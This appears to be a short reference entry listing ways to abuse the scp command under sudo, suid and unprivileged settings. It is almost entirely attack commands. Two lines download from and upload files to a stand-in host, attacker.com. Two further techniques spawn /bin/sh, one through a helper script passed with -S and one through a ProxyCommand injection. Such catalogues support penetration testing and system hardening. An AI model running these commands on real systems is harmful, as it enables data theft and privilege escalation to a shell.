scp

Download

Context: sudo, suid, unprivileged

scp user@attacker.com:/path/to/input-file /path/to/output-file

Shell

Context: sudo, suid, unprivileged

echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:

Context: sudo, suid, unprivileged

scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:

Upload

Context: sudo, suid, unprivileged

scp /path/to/input-file user@attacker.com:/path/to/output-file